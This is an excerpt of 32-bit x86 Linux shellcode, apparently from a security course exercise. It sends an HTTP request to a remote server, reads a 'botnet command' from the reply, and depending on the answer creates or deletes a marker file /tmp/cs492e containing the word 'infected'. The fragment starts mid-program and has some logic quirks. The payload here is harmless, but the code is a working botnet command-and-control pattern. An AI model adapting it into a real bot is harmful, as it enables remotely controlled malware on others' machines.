    xor ecx, ecx
    xor edx, edx
  mov al, 0x66    ; sys_socketcall
  mov bl, 0x9     ; sys_send


  ;"GET /cs492e.txt HTTP/1.0\r\n\r\n"
  ;Now we will push the message in little endian

    push 0x0a0d0a0d
    push 0x302e312f ; 0.1/
  push 0x50545448 ; PTTH
  push 0x20747874 ;  txt
  push 0x2e653239 ; .e29
  push 0x3473632f ; 4sc/
  push 0x20544547 ;  TEG
    mov esi, esp

    push edx
    push 0x1c
    push esi
    push edi

    mov ecx, esp
  int 0x80       ; syscall for sys_send

; we want to receive the message
; read (int sockfd, void *buf, size_t count)
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    mov al, 0x03    ; syscall for sys_read
    mov dx, 0x1027   ; we want to read a number of bytes, to have no null bytes
    mov ecx, esi    ; we had the buffer in esi
    mov ebx, edi    ; the file descriptor was stored in edi
    int 0x80       ; syscall for sys_read

; this part is a bit complicated, I did that because the body of the HTTP answer start at offset
; esi + 0xF7, or I only did something like mov edx, [esi + 0xf7], I had some null bytes
; so I made it so at the end we have in edx the correct value with no null bytes
    mov ecx, [esi + 0x000000f7]

; we want to compare the value inside ecx to know if it is 0 or 1
    xor eax, eax
```

```
    mov ax, 0x0a30        ; we push 0x0a30 because when I inspect the value of ecx I have "0\n"
  cmp ax, cx       ; we compare the content of ax and cx
    ; je check
    je remove

create: ; when the botnet command is 1 we will follow this path

  ; we will use the sys_creat syscall

  ; clear all the registers
  xor   eax, eax
  xor   ebx, ebx
  xor   ecx, ecx
  xor   edx, edx

  mov al, 0x08       ; syscall for sys_create
    push edx       ; for the padding
  mov cx, 0511 ; we can play with this value to have different permissions

  push 0x65323934 ; e294
  push 0x73632f70 ; sc/p
  push 0x6d742f2f ; mt//
  mov ebx, esp
  int 0x80

  ; Now we want to open this file and write infected into it
  xor ecx, ecx
  mov al, 0x05    ; syscall for sys_open
  mov cl, 0x02       ; int value of O_RDWR
  push ebx       ; ebx still have the pathname
  int 0x80

  ; we will now write infected
  ;mov ebx, eax    the file descriptor was in eax at the end of open
  xor ebx, ebx
  mov bl, 0x1      ; 1 is the standard output
  mov al, 0x04     ; syscall for sys_write
  push 0x64657463 ; detc
  push 0x65666e69 ; efni
  mov ecx, esp    ; get the start address
  mov dl, 0x08    ; infected is 8 bytes
  int 0x80

    jmp exit

check: ; in this label we will check if the file already exists
```

```
; clear all the registers
   xor   eax, eax
   xor   ebx, ebx
   xor   ecx, ecx
   xor   edx, edx

; we will do that with the open syscall if open return something else than 0
      push eax       ; padding
   push 0x65323934 ; e294
   push 0x73632f70 ; sc/p
   push 0x6d742f2f ; mt//
   mov ebx, esp
   push ebx
   mov al, 0x05   ; syscall for sys_open
   mov cl, 0x02     ; int value of O_RDWR
   int 0x80       ; syscall

      ; we will compare the value in eax to know if the file already exists
      push 0x04
      mov edx, [esp]
      cmp eax, edx
      jne exit

remove: ; when the botnet command value is 0 we will follow this path

  ; clear all the registers
   xor   eax, eax
   xor   ebx, ebx
   xor   ecx, ecx
   xor   edx, edx

   ; We will remove the the file /tmp/cs492e
   ; we will use the sys_unlink syscall
   ; unlink(const char *pathname)
   mov al, 0xa    ; syscall for sys_unlink
      push ecx       ; for the padding
   push 0x65323934 ; e294
   push 0x73632f70 ; sc/p
   push 0x6d742f2f ; mt//
      mov ebx, esp
   int 0x80

exit:
      xor eax, eax
      mov al, 0x01
      mov bl, 0x01
      int 0x80
```